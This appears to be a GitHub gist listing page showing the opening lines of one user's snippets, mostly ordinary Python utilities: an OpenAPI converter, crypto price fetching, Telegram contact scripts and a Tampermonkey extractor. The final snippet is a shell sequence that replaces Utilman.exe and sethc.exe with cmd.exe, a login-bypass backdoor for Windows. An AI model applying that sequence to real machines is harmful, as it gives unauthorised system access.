Skip to content

Instantly share code, notes, and snippets.

View SmartManoj's full-sized avatar
💭
Contributing @OpenDevin 🤖

மனோஜ்குமார் பழனிச்சாமி SmartManoj

💭
Contributing @OpenDevin 🤖
View GitHub Profile
@SmartManoj
SmartManoj / openapi_3.x to 2.0.py
Last active October 1, 2024 09:27
This script converts an OpenAPI 3.X specification into an OpenAPI 2.0 specification, handling changes like `requestBody`, `$ref`, and security schemes.
import os
import requests
import json
from pyperclip import copy
debug = 0
HOST_URL = 'https://default-host.com'
def convert_to_openapi_2(spec):
global debug
# Initialize the OpenAPI 2.0 specification
openapi2_spec = {
import io
import pyautogui
from time import sleep
import win32clipboard
from PIL import ImageGrab
import win32gui
toplist, winlist = [], []
print(34)
print(34)
import requests
from threading import Thread
from bs4 import BeautifulSoup
from pyperclip import copy
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
}
import ccxt
from datetime import datetime
from pprint import pprint
connection = ccxt.gateio()
pair = 'FITFI/USDT'
timestamp = int(datetime.strptime(
"2022-04-26 10:30:00+00:00", "%Y-%m-%d %H:%M:%S%z").timestamp())
timeframe = '1m'
timeframe = '10s'
import ccxt
from datetime import datetime
from pprint import pprint
connection = ccxt.gateio()
pair = 'FITFI/USDT'
timestamp = int(datetime.strptime(
"2022-04-26 10:30:00+00:00", "%Y-%m-%d %H:%M:%S%z").timestamp())
timeframe = '1m'
timeframe = '10s'
#!/usr/bin/env python
import os
import sys
import dotenv
dotenv.load_dotenv()
TOKEN = os.getenv("BOT_TOKEN")
if TOKEN is None:
import csv
import random
from telethon import TelegramClient, events, sync
from telethon.tl.types import InputPhoneContact
from telethon import functions, types
api_id = 210829
api_hash = '..'
client = TelegramClient('SmartManoj2', api_id, api_hash)
with open('contacts.csv', 'r') as file:
@SmartManoj
SmartManoj / gist:aceee7302d5fcbe0721814d26e3f7d01
Last active October 9, 2020 11:50
Save Contact or Find importers
import os
from telethon import TelegramClient, events
from telethon.tl.types import InputPhoneContact
from telethon import functions, types
from config import *
import random
from tthon import *
sn = 'Temp'
#!/usr/bin/env python
# Linux usage: ./extract_tampermonkey_script.py "/home/<USER>/.config/<BROWSER>/Default/Local Extension Settings/<EXTENSION_ID>"
# i.e.: ./extract_tampermonkey_script.py "/home/foo/.config/google-chrome-beta/Default/Local Extension Settings/gcalenpjmijncebpfijmoaglllgpjagf"
# Mac usage: ./extract_tampermonkey_script.py "/Users/<USER>/Library/Application Support/Google/Chrome/Default/Local Extension Settings/<EXTENSION_ID>/"
# i.e.: ./extract_tampermonkey_script.py "/Users/foo/Library/Application Support/Google/Chrome/Default/Local Extension Settings/dhdgffkkebhmkfjojejmpbldmpobfkfo/"
import leveldb
import sys
import re
mount -o remount ,rw .
cd Windows/System32
cp Utilman.exe Utilman.exe.bak
cp sethc.exe sethc.exe.bak
cp cmd.exe Utilman.exe
cp cmd.exe sethc.exe